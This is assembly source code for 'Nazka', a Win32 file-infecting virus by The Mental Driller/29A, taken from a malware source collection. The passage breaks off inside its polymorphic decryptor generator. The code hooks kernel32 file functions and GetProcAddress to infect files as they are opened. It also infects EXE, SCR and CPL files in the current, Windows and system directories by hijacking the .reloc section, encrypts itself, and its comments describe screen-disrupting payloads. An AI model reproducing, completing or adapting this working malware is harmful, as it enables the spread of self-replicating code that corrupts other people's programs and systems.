MalwareSourceCode/Engines/Win32/Virus.Win32.Nazka.528
2020-10-16 22:28:58 +02:00

1923 lines
68 KiB
Plaintext

.386p ;;;;;;;;;;;; Virus NAZKA ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
.model flat ;;;;;; by The Mental Driller/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
locals ;;;;;;;;;;; ------------------------- ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
.data ;;;;;;;;;;;; Infection is as follows: ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
;;;;;;;;;;;;;;;;;; - Decryptor in .code section ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
ÛÜ Û ;;;;;;;;;;;;; - Virus in .reloc section
ÛßÛÛ ;;;;;;;;;;;;; - Original overwritten code at the end of the last section
Û Û ;;;;;;;;;;;;; After decryption:
;;; ÜÜÜ ;;;;;;;;;; - Restoring of the overwritten code with WriteProcessMemory
;;; ÛÜÛ ;;;;;;;;;; Achievements with this type of infection:
;;; Û Û ;;;;;;;;;; - .code section mantains original flags
;;;;;; ÜÜÜ ;;;;;;; - .reloc section (which no longer is named so) can be a
;;;;;; Üß ;;;;;;; "strange" section of an executable, with EXEC_WRI_READ
;;;;;; ÛÜÜ ;;;;;;; flags
;;;;;;;;; Ü Ü ;;;; - Original host code is saved and encrypted at the end of
;;;;;;;;; ÛÜß ;;;; the host.
;;;;;;;;; Û Û ;;;;
;;;;;;;;;;;; ÜÜÜ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;; ÛÜÛ ;by;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;; Û Û ;The Mental Driller/29A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; All the virus is intended to be full compatible with future versions of ;;;;
;; win32 (I mean, I don't use strange things like the VxDCALL0 or ring-0 int ;;
;; callgates, due to the fact that they are exploits, after all, and they can ;
;; be fixed in future versions of the kernel). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This virus isn't very good, but I had to made something to probe that I ;;;;
;; can actually code under Win32 systems, and this virus is a look-a-like of ;;
;; a most advanced version that I'm thinking on, making complex-as-the-fuck ;;;
;; decryptors (that's the reason why I save 1000h bytes of code of .text in ;;;
;; the infections, just to test the technique). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; The virus has two parts: the first sets a per-process residency catching ;;;
;; some common functions to open files, and GetProcAddress to return our ;;;;;;
;; handled address just in case the application uses the function. The second ;
;; part is a runtime infection, which infects all EXEs, SCRs and CPLs on ;;;;;;
;; current, system and windows directory (as always). ;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PAYLOADS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This virus has 3 different payloads based on the GDI library: ;;;;;;;;;;;;;;
;; 1) Draws NAZKA in the desktop with colorful polygons and displays a message;
;;;; box which can't be closed :) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; 2) Writes "N A Z K A" with the TextOutA function in random positions all ;;;
;;;; over the screen, covering all the desktop. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; 3) The same as 2, but this time with random-color pixels, with the function;
;;;; SetPixel. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This payloads are spawned in a different thread, so they act while the ;;;;;
;;; application runs. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; POLYMORPHISM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; The virus is slightly polymorphic, it means, the decryptors are easy to ;;;;
;;; emulate and all that, but I didn't want to leave the virus "nude", and a ;;
;;; single fixed decryptor didn't like me at all. Well, this type of polymor- ;
;;; phism don't like me very much either, but I'm still (!!) working on the ;;;
;;; Tuareg, which will be finished in two or three years :P. ;;;;;;;;;;;;;;;;;;
;; The engine will create three polymorphic decryptors in the beginning of ;;;;
;;; the .text section, and will decrypt the .reloc section (where the virus ;;;
;;; is). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; I have to apologize because I didn't comment very much of the code. ;;;;;;;;
;; Instead of it, I intend to put names to the functions and labels to be ;;;;;
;; quite explicit (it's my habit lastly), so I hope there isn't many problems ;
;; It's quickly coded also, so many buffer variables are between code instead ;
;; of using the more elegant technique of allocate some local memory for ;;;;;;
;; variables and all that. Maybe in future versions... ;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Message on first generation
Titulo db 'Virus NAZKA 1st Generation by The Mental Driller/29A',0
Mensaje db 'You have been infected with the first generation',0dh,0ah
db 'of the virus NAZKA by The Mental Driller/29A',0
.code
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
Virus_Size equ offset End_Virus - offset Inic_Virus
Encrypted_Virus_Size equ Virus_Size
Nazka proc
Inic_Virus label dword
push eax ; Size to store the return address
pusha
call GetDeltaOffset
GetDeltaOffset: pop ebp
sub ebp, offset GetDeltaOffset
mov [ebp+DeltaOffset], ebp
mov [ebp+DeltaOffset2], ebp
;; Put the return address
mov eax, [ebp+InicIP]
mov [esp+20h], eax
mov byte ptr [ebp+CounterOfFunctions], 0
mov eax, [esp+24h]
and eax, 0FFFFF000h
mov dword ptr [ebp+Addr_Kernel32], eax
mov dword ptr [ebp+AuxCounter], 100h
lea eax, [ebp+offset @@Loop_001]
mov dword ptr [ebp+SEHReturn], eax
push offset MySEH ; Setup SEH for preventing
push dword ptr fs:[0] ; reading exceptions
mov fs:[0], esp
@@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h
mov eax, [ebp+Addr_Kernel32]
cmp word ptr [eax], 'ZM'
jz @@MaybeKernelFound
dec dword ptr [ebp+AuxCounter]
jnz @@Loop_001
push ds
pop ax
cmp ax, 0137h
jb @@JumpToHost2 ; No hard-coded address for WinNT
mov eax, 0BFF70000h ; Hard-coded under Win9x
jmp @@KernelFound2
@@MaybeKernelFound:
mov ebx, [eax+3Ch]
add ebx, eax
cmp word ptr [ebx], 'EP'
jnz @@Loop_001
@@KernelFound2: pop dword ptr fs:[0] ; Restore SEH
pop ecx ; Eliminate our handler from stack
mov ebx, [ebx+78h]
add ebx, eax
mov ecx, [ebx+18h]
mov esi, [ebx+20h]
add esi, eax
@@Loop_003: mov edi, [esi]
add edi, eax
cmp dword ptr [edi], 'PteG'
jnz @@Next_001
cmp dword ptr [edi+4], 'Acor'
jnz @@Next_001
cmp dword ptr [edi+8], 'erdd'
jnz @@Next_001
cmp word ptr [edi+0Ch], 'ss'
jnz @@Next_001
cmp byte ptr [edi+0Eh], 0
jz @@GetProcAddressFound
@@Next_001: add esi, 4
loop @@Loop_003
jmp @@JumpToHost
@@GetProcAddressFound:
sub ecx, [ebx+18h]
neg ecx
shl ecx, 1
add ecx, [ebx+24h]
add ecx, eax
movzx ecx, word ptr [ecx]
shl ecx, 2
add ecx, [ebx+1Ch]
add ecx, eax
mov ecx, [ecx]
add ecx, eax
mov dword ptr [ebp+RVA_GetProcAddress], ecx
lea esi, [ebp+CrunchedASCIIs]
mov edx, [ebp+Addr_Kernel32]
mov [ebp+ModuleToUse], edx
lea edx, [ebp+RVAs]
call GetRVAs
jc @@JumpToHost
;; Let's patch the import directory
;; I also use the Jacky Qwerty's idea of patch the GetProcAddress function
;; (implemented in Win32.Cabanas) to catch the functions that many
;; applications obtain via GetProcAddress
call PatchImportDirectory
;; All RVAs got!
;; Let's infect directories
call RuntimeInfection
;; The payloads! Nice GDI routines spawned in a thread, so they are acting
;; while the process is active. There are three payloads:
;; 1) Draws "NAZKA" with colorful letters and rotates the color of them every
;; tenth of second.
;; 2) Writes "N A Z K A" all over the screen with green text letters and in
;; random positions, covering completely the desktop in a few time :)
;; 3) The same as 2 but with pixels instead of text.
call Payload
@@JumpToHost: cmp dword ptr [ebp+CounterOfFunctions], 2
jb @@SimulateExecError
call dword ptr [ebp+RVA_GetCurrentProcess]
push 0
push 1000h
lea ebx, [ebp+End_Virus]
push ebx
mov ebx, [ebp+RestoreAddress]
push ebx
push eax
call dword ptr [ebp+RVA_WriteProcessMemory]
popa
ret
@@SimulateExecError:
push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0
push 0005C690h ; to generate an exception from an "unknown
jmp esp ; module" :)
@@JumpToHost2: pop dword ptr fs:[0] ; Restore original SEH
pop eax
jmp @@JumpToHost
Nazka endp
InicIP dd offset FakedHost
RestoreAddress dd offset FakedHost
CounterOfFunctions db 0
MySEH proc
mov esp, [esp+8] ; Exception? Restore and jump to the
db 0BDh ; specified address
DeltaOffset dd 0
jmp [ebp+SEHReturn]
MySEH endp
SEHReturn dd 0
AuxCounter dd 0
GetRVAs proc
@@Loop_004: lea edi, [ebp+DecrunchBuffer]
push edx
push edi
@@Loop_005: lodsb
push esi
;; 0F0h --> Create
;; 0F1h --> File
;; 0F2h --> Get
;; 0F3h --> DirectoryA
;; 0F4h --> Find
;; 0F5h --> Process
;; 0F6h --> Set
;; 0F7h --> AttributesA
cmp al, 0F6h
ja @@PutAttributesA
jz @@PutSet
cmp al, 0F4h
ja @@PutProcess
jz @@PutFind
cmp al, 0F2h
ja @@PutDirectory
jz @@PutGet
cmp al, 0F0h
ja @@PutFile
jb @@PutDirect
@@PutCreate: lea esi, [ebp+ASC_Create]
mov ecx, 6
jmp @@Store
@@PutFile: mov eax, 'eliF'
stosd
jmp @@Next_002
@@PutGet: lea esi, [ebp+ASC_Get]
mov ecx, 3
jmp @@Store
@@PutDirectory: lea esi, [ebp+ASC_DirectoryA]
mov ecx, 0Ah
jmp @@Store
@@PutFind: mov eax, 'dniF'
stosd
jmp @@Next_002
@@PutProcess: lea esi, [ebp+ASC_Process]
mov ecx, 7
jmp @@Store
@@PutSet: lea esi, [ebp+ASC_Set]
mov ecx, 3
jmp @@Store
@@PutAttributesA: lea esi, [ebp+ASC_AttributesA]
mov ecx, 0Bh
@@Store: rep movsb
jmp @@Next_002
@@PutDirect: stosb
@@Next_002: pop esi
or al, al
jnz @@Loop_005
push dword ptr [ebp+ModuleToUse]
call dword ptr [ebp+RVA_GetProcAddress]
pop edx
or eax, eax
jz @@Error
mov [edx], eax
inc byte ptr [ebp+CounterOfFunctions]
add edx, 4
cmp byte ptr [esi], 0
jnz @@Loop_004
clc
ret
@@Error: stc
ret
GetRVAs endp
ModuleToUse dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; PER-PROCESS RESIDENCY: SETTING AND INFECTION
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PatchImportDirectory proc
db 0B8h ; MOV EAX,xxxxxxxx
ImageBase dd 400000h ; Image base, set on infection time
mov ebx, [eax+3Ch]
add ebx, eax
cmp word ptr [ebx], 'EP'
jnz @@End
mov ecx, [ebx+84h]
mov ebx, [ebx+80h]
add ebx, eax
@@SearchModule: mov esi, [ebx+0Ch]
or esi, esi
jz @@End
add esi, eax
@@ToLowerCase: mov edx, [esi]
call ToLower
cmp edx, 'nrek'
jnz @@NextModule
mov edx, [esi+4]
call ToLower
cmp edx, '23le'
jz @@Found
@@NextModule: add ebx, 14h
sub ecx, 14h
jnz @@SearchModule
jmp @@End
@@Found: mov esi, [ebx+10h]
add esi, eax
cld
lea ebx, [ebp+FunctionsToPatch]
@@Loop_001: mov edi, ebx
lodsd
or eax, eax
jz @@End
mov ecx, 0Fh
repnz scasd
jnz @@Loop_001
sub edi, ebx
mov eax, [ebp+edi+FunctionsAddress-4]
add eax, ebp
mov [esi-4], eax
jmp @@Loop_001
@@End: ret
PatchImportDirectory endp
FunctionsAddress label dword
dd offset My_GetProcAddress
dd offset My_CreateFileA
dd offset My_CreateProcessA
dd offset My_FindFirstFileA
dd offset My_FindNextFileA
dd offset My_GetFileAttributesA
dd offset My_SetFileAttributesA
dd offset My_GetFullPathNameA
dd offset My_MoveFileA
dd offset My_CopyFileA
dd offset My_DeleteFileA
dd offset My_WinExec
dd offset My__lopen
dd offset My_MoveFileExA
dd offset My_OpenFile
;,,,,,,,,,,,,,,,,,,,,,,,,,
;; PER-PROCESS FUNCTIONS ;
;'''''''''''''''''''''''''
GetDelta proc
mov eax, 12345678h
org $-4
DeltaOffset2 dd 0
ret
GetDelta endp
My_GetProcAddress proc
call GetDelta
push ecx
add eax, offset @@ReturnHere
mov ecx, eax
xchg eax, [esp+4]
mov [ecx+1], eax
pop ecx
call GetDelta
mov eax, [eax+RVA_GetProcAddress]
jmp eax
@@ReturnHere: db 68h
ReturnGetProcAddress dd 0
or eax, eax
jz @@Return
pusha
push eax
call GetDelta
xchg ebp, eax
pop eax
lea esi, [ebp+RVAs]
lea edi, [ebp+RVAs+0Eh*4]
mov ebx, esi
xchg ecx, eax
@@Loop_GPA: lodsd
cmp eax, ecx
jnz @@Next_GPA
sub esi, ebx
add esi, ebp
mov eax, [esi+FunctionsAddress+4]
mov [esp+1Ch], eax ; Substitute EAX to function
; by our function address
jmp @@Return2
@@Next_GPA: cmp esi, edi
jnz @@Loop_GPA
@@Return2: popa
@@Return: ret ; Ufffh... I hope this work
My_GetProcAddress endp ; (later) It worked! :)
My_CreateFileA proc
call GetDelta
mov eax, [eax+RVA_CreateFileA]
jmp InfectByPerProcess
My_CreateFileA endp
InfectByPerProcess proc
push eax
pusha
call GetDelta
xchg ebp, eax
mov ebx, [esp+28h]
lea eax, [ebp+FindFileField]
push eax
push ebx
call dword ptr [ebp+RVA_FindFirstFileA]
inc eax
jz @@Return
dec eax
push eax
call InfectFile
call dword ptr [ebp+RVA_FindClose]
@@Return: popa
ret ; Jump to kernel function
InfectByPerProcess endp
My_CreateProcessA proc
call GetDelta
mov eax, [eax+RVA_CreateProcessA]
jmp InfectByPerProcess
My_CreateProcessA endp
FindFirstIdent db 0
My_FindNextFileA proc
call GetDelta
mov byte ptr [eax+FindFirstIdent], 0
jmp Common_FindFile
My_FindNextFileA endp
My_FindFirstFileA proc
call GetDelta
mov byte ptr [eax+FindFirstIdent], 1
Common_FindFile: add eax, offset @@ReturnHere
push ecx
mov ecx, eax
xchg eax, [esp+4]
mov [ecx+1], eax
mov eax, [esp+0Ch] ; We put the buffer address...
mov [ecx+0Dh], eax ; ...here
pop ecx
call GetDelta
cmp byte ptr [eax+FindFirstIdent], 1
jz @@PutFindFirst
@@PutFindNext: mov eax, [eax+RVA_FindNextFileA]
jmp eax
@@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA]
jmp eax
@@ReturnHere: db 68h ; PUSH Value
dd 0 ; +1
pusha ; +5
inc eax ; +6
jnz @@ItsOK ; +7
dec eax ; +9
jmp @@Return ; +A
@@ItsOK: db 0BEh ; MOV ESI,Value ; +C
@@ESIValue: dd 0 ; +D
call GetDelta
xchg ebp, eax
lea edi, [ebp+FindFileField]
mov ecx, FindFileFieldSize
cld
rep movsb
dec byte ptr [ebp+InfectFileNow]
jnz @@Return
mov byte ptr [ebp+InfectFileNow], 3
call InfectFile
@@Return: popa
ret
My_FindFirstFileA endp
InfectFileNow db 3
My_GetFileAttributesA proc
call GetDelta
mov eax, [eax+RVA_GetFileAttributesA]
jmp InfectByPerProcess
My_GetFileAttributesA endp
My_SetFileAttributesA proc
call GetDelta
mov eax, [eax+RVA_SetFileAttributesA]
jmp InfectByPerProcess
My_SetFileAttributesA endp
My_GetFullPathNameA proc
call GetDelta
mov eax, [eax+RVA_GetFullPathNameA]
jmp InfectByPerProcess
My_GetFullPathNameA endp
My_MoveFileA proc
call GetDelta
mov eax, [eax+RVA_MoveFileA]
jmp InfectByPerProcess
My_MoveFileA endp
My_CopyFileA proc
call GetDelta
mov eax, [eax+RVA_CopyFileA]
jmp InfectByPerProcess
My_CopyFileA endp
My_DeleteFileA proc
call GetDelta
mov eax, [eax+RVA_DeleteFileA]
jmp InfectByPerProcess
My_DeleteFileA endp
My_WinExec proc
call GetDelta
mov eax, [eax+RVA_WinExec]
jmp InfectByPerProcess
My_WinExec endp
My__lopen proc
call GetDelta
mov eax, [eax+RVA__lopen]
jmp InfectByPerProcess
My__lopen endp
My_MoveFileExA proc
call GetDelta
mov eax, [eax+RVA_MoveFileExA]
jmp InfectByPerProcess
My_MoveFileExA endp
My_OpenFile proc
call GetDelta
mov eax, [eax+RVA_OpenFile]
jmp InfectByPerProcess
My_OpenFile endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; RUN-TIME INFECTION
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
RuntimeInfection proc
call InfectCurrentDir
push 80h
lea eax, [ebp+Directory2]
push eax
call dword ptr [ebp+RVA_GetCurrentDirectoryA]
call InfectWindowsDir
call InfectSystemDir
lea eax, [ebp+Directory2]
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
ret
RuntimeInfection endp
Directory1 db 80h dup (0)
Directory2 db 80h dup (0)
InfectSystemDir proc
mov ebx, [ebp+RVA_GetSystemDirectoryA]
Common_InfectDir:
push 80h
lea eax, [ebp+Directory1]
push eax
call ebx
or eax, eax
jz @@Return
call SetDirectory1
call InfectCurrentDir
@@Return: ret
InfectSystemDir endp
InfectWindowsDir proc
mov ebx, [ebp+RVA_GetWindowsDirectoryA]
jmp Common_InfectDir
InfectWindowsDir endp
SetDirectory1 proc
lea eax, [ebp+Directory1]
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
ret
SetDirectory1 endp
InfectCurrentDir proc
call DeleteDATs
lea ecx, [ebp+FindFileMask1]
call InfectCurrentDir2
lea ecx, [ebp+FindFileMask2]
call InfectCurrentDir2
lea ecx, [ebp+FindFileMask3]
call InfectCurrentDir2
ret
InfectCurrentDir endp
InfectCurrentDir2 proc
lea ebx, [ebp+FindFileField]
push ebx
push ecx
call dword ptr [ebp+RVA_FindFirstFileA]
inc eax
jz @@Fin0
dec eax
mov dword ptr [ebp+FindFileHandle], eax
@@InfectAgain: call InfectFile
lea ebx, [ebp+FindFileField]
push ebx
push dword ptr [ebp+FindFileHandle]
call dword ptr [ebp+RVA_FindNextFileA]
or eax, eax
jnz @@InfectAgain
push dword ptr [ebp+FindFileHandle]
call dword ptr [ebp+RVA_FindClose]
@@Fin0: ret
InfectCurrentDir2 endp
FindFileHandle dd 0
InfectFile proc
mov ebx, [ebp+CreationTime]
and ebx, 3
cmp bl, 3
jz @@End ; Infection mark
lea ebx, [ebp+FileName]
call CheckFileName
jc @@End
push 80h
push ebx
call dword ptr [ebp+RVA_SetFileAttributesA]
call OpenFile
jc @@End2
call MapFile
or eax, eax
jz @@End3
mov dword ptr [ebp+MappingAddress], eax
mov edi, eax
cmp word ptr [edi], 'ZM'
jnz @@End4
; cmp word ptr [edi+12h], 'DM'
; jz @@End4
mov esi, [eax+3Ch]
add esi, edi
mov [ebp+PEHeaderAddress], esi
cmp word ptr [esi], 'EP'
jnz @@End4
;; ESI=Header address, EDI=Mapping address (beginning of file)
;; Manner of infecting the file:
;; 1) The section .reloc is anulated
;; 2) We check if reloc is quite big to contain the virus. If not, we exit
;; 3) We copy from .text to the end of the last section the portion of code
;; that is going to be overwritten
;; 4) We copy the virus to .reloc and we change the name of the section by
;; another randomly generated
;; 5) We overwrite .text section with the decryptor (we check if .text is big
;; enough to contain this).
;; 6) When execution, .text must be restored from the saved data. All other
;; things (reloc, etc.) can remain.
movzx ebx, word ptr [esi+14h]
movzx ecx, word ptr [esi+06h]
lea ebx, [ebx+esi+18h]
mov eax, 28h
push ebx
push ecx
dec ecx
mul ecx
add ebx, eax
sub ebx, edi
mov [ebp+LastHeader], ebx ; In EBX, the physical address
; of the header of the last section
pop ecx
pop eax
mov dword ptr [ebp+TextHeader], 0
mov dword ptr [ebp+RelocHeader], 0
@@Loop_001: cmp dword ptr [eax], 'xet.'
jnz @@LookForReloc
cmp dword ptr [eax+4], 0+'t'
jnz @@NextSection
sub eax, edi
mov [ebp+TextHeader], eax ; Physical address of .text
add eax, edi
jmp @@NextSection
@@LookForReloc: cmp dword ptr [eax], 'ler.'
jnz @@NextSection
cmp dword ptr [eax+4], 0+'co'
jnz @@NextSection
sub eax, edi
mov [ebp+RelocHeader], eax ; Physical address of .reloc
add eax, edi
@@NextSection: add eax, 28h
loop @@Loop_001
cmp [ebp+TextHeader], ecx ; 0?
jz @@End4
mov eax, [ebp+RelocHeader]
or eax, eax
jz @@End4
cmp eax, [ebp+LastHeader] ; Is last section the reloc?
jnz @@End4 ; If it isn't, exit
mov dword ptr [esi+98h], 0
mov dword ptr [esi+9Ch], 0 ; Anulate relocs
mov eax, [esi+28h]
mov ebx, [esi+34h]
add eax, ebx
mov [ebp+InicIP], eax
mov [ebp+ImageBase], ebx
mov eax, [ebp+TextHeader]
add eax, edi
cmp dword ptr [eax+08h], 1000h
jb @@End4
cmp dword ptr [eax+10h], 1000h
jb @@End4
mov eax, [ebp+RelocHeader]
add eax, edi
mov ebx, Virus_Size+1000h
cmp dword ptr [eax+08h], ebx
jae @@SizeIsOK_1
mov dword ptr [eax+08h], ebx
@@SizeIsOK_1: cmp dword ptr [eax+10h], ebx
jae @@SizeIsOK_2
@@SizeIsNotOK: sub ebx, [eax+10h]
mov ecx, eax
xchg ebx, eax
mov ebx, [esi+38h]
xor edx, edx
div ebx
inc eax
mul ebx
add [ecx+10h], eax
add [ebp+FileSizeLow], eax
add [esi+50h], eax
call UnmapFile
call MapFile
or eax, eax
jz @@End3
mov dword ptr [ebp+MappingAddress], eax
mov edi, eax
mov esi, [edi+3Ch]
add esi, edi
@@SizeIsOK_2:
;; This must be sustituted by an entrypoint to the very
;; beginning of the .text section. This time (to test) we
;; set the entrypoint at the beginning of the .reloc section
;; (last section)
mov eax, [ebp+TextHeader]
add eax, edi
mov ebx, [eax+0Ch]
mov [esi+28h], ebx
add ebx, [esi+34h]
mov [ebp+RestoreAddress], ebx
mov ecx, [eax+14h]
add ecx, edi
mov eax, [ebp+RelocHeader]
add eax, edi
or dword ptr [eax+24h], 0A0000020h
; mov eax, [eax+0Ch]
; mov [esi+28h], eax
call ConstructNameForReloc
push edi
xchg edi, eax
mov edi, [ebp+RelocHeader]
add edi, eax
mov edi, [edi+14h]
add edi, eax
push esi
lea esi, [ebp+Nazka]
mov ecx, Virus_Size / 4
push eax
call CreateEncryptions
call EncryptWhileStoring
pop eax
mov esi, [ebp+TextHeader]
add esi, eax
mov esi, [esi+14h]
add esi, eax
mov ecx, 400h
call EncryptWhileStoring
pop esi
pop edi
; mov word ptr [edi+12h], 'DM'
mov eax, [ebp+TextHeader]
add eax, edi
mov ebx, [eax+0Ch]
add ebx, [esi+34h]
mov ecx, [eax+14h]
add ecx, edi
mov eax, [ebp+RelocHeader]
add eax, edi
mov eax, [eax+0Ch]
add eax, [esi+34h]
sub eax, ebx
; sub eax, 5
; EAX=Displacement from the beginning till the virus
; ECX=Place where the decryptors must be put
; Size of encrypted part is Virus_Size+1000h
call PutDecryptors
; mov byte ptr [ecx], 0E9h
; mov dword ptr [ecx+1], eax
or dword ptr [ebp+CreationTime], 3
@@End4: call UnmapFile
@@End3: call RestoreDateTime
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_CloseHandle]
@@End2: push dword ptr [ebp+FileAttributes]
lea ebx, [ebp+FileName]
push ebx
call dword ptr [ebp+RVA_SetFileAttributesA]
@@End: ret
InfectFile endp
TextHeader dd 0
RelocHeader dd 0
LastHeader dd 0
StartOfLastSection dd 0
PEHeaderAddress dd 0
EncryptWhileStoring proc
@@EncryptLoop: mov edx, 2
lodsd
@@Loop_001: cmp byte ptr [ebp+edx+EncryptType], 1
jb @@ADD
jz @@SUB
@@XOR: xor eax, dword ptr [4*edx+ebp+DecryptKey]
jmp @@Next
@@ADD: add eax, dword ptr [4*edx+ebp+DecryptKey]
jmp @@Next
@@SUB: sub eax, dword ptr [4*edx+ebp+DecryptKey]
@@Next: dec edx
jns @@Loop_001
stosd
loop @@EncryptLoop
ret
EncryptWhileStoring endp
CreateEncryptions proc
pusha
@@Again: call Random
jz @@Again
mov [ebp+DecryptKey], eax
@@Again2: call Random
jz @@Again2
cmp [ebp+DecryptKey], eax
jz @@Again2
mov [ebp+DecryptKey+4], eax
@@Again3: call Random
jz @@Again3
cmp [ebp+DecryptKey], eax
jz @@Again3
cmp [ebp+DecryptKey+4], eax
jz @@Again3
mov [ebp+DecryptKey+8], eax
mov ecx, 3
@@OtraVez: call Random
and al, 3
jz @@OtraVez
dec al
mov byte ptr [ebp+ecx+EncryptType-1], al
loop @@OtraVez
popa
ret
CreateEncryptions endp
EncryptType db 0, 0, 0 ; 0=ADD, 1=SUB, 2=XOR
DecryptKey dd 0, 0, 0
; Help with stack positions
S_EAX equ 1Ch
S_ECX equ 18h
S_EDX equ 14h
S_EBX equ 10h
S_ESP equ 0Ch
S_EBP equ 08h
S_ESI equ 04h
S_EDI equ 00h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Dumb polymorphic engine :) ;;
;; Just made only to avoid having the same decryptors every time. ;;
;; It has been made in two hours or so, so it isn't very complex. ;;
;; That's very easy to emulate, but I wasn't in the mood to make ;;
;; a bigger one in a weekend (well, just wait for the finishing ;;
;; of the eternally durable coding of the Tuareg engine :P ) ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; EAX=Displacement from the beginning till the virus
; ECX=Place where the decryptors must be put
; Size of encrypted part is Virus_Size+1000h
PutDecryptors proc
pusha
mov [ebp+Distance], eax
mov [ebp+DecryptorsBeginAddress], ecx
mov edi, ecx
mov byte ptr [ebp+NumberOfDecryptor], 0
; Initializing of the random generator
lea eax, [ebp+offset SystemTimeReceiver]
push eax
call dword ptr [ebp+RVA_GetSystemTime]
mov eax, [ebp+DwordAleatorio1]
xor eax, [ebp+DwordAleatorio2]
mov [ebp+DwordAleatorio3], eax ; We make it slow poly
@@MakeNextDecryptor:
; Register selection
@@Select1: call Random
and al, 7
cmp al, 4
jz @@Select1
mov [ebp+KeyRegister], al
mov dl, al
@@Select2: call Random
and al, 7
cmp al, 4
jz @@Select2
cmp al, dl
jz @@Select2
mov [ebp+CounterRegister], al
mov dh, al
@@Select3: call Random
and al, 7
cmp al, 4
jz @@Select3
cmp al, dh
jz @@Select3
cmp al, dl
jz @@Select3
mov [ebp+IndexRegister], al
lea ebx, [ebp+offset PutCounterValue]
lea ecx, [ebp+offset PutIndexValue]
lea edx, [ebp+offset PutKeyValue]
call RandomCalling
mov [ebp+InicLoop], edi
movzx ecx, byte ptr [ebp+NumberOfDecryptor]
mov al, byte ptr [ebp+4*ecx+EncryptType]
cmp al, 1
jb @@ADD
jz @@SUB
@@XOR: mov al, 31h
jmp @@J_001
@@ADD: mov al, 29h ; Just the inverse of ADD
jmp @@J_001
@@SUB: mov al, 01h
@@J_001: stosb
mov al, [ebp+IndexRegister]
cmp al, 5
jnz @@J_002
or al, 40h
@@J_002: mov dl, [ebp+KeyRegister]
shl dl, 3
or al, dl
stosb
cmp al, 40h
jb @@J_003
xor al, al
stosb
@@J_003: lea ebx, [ebp+offset IncreaseIndex]
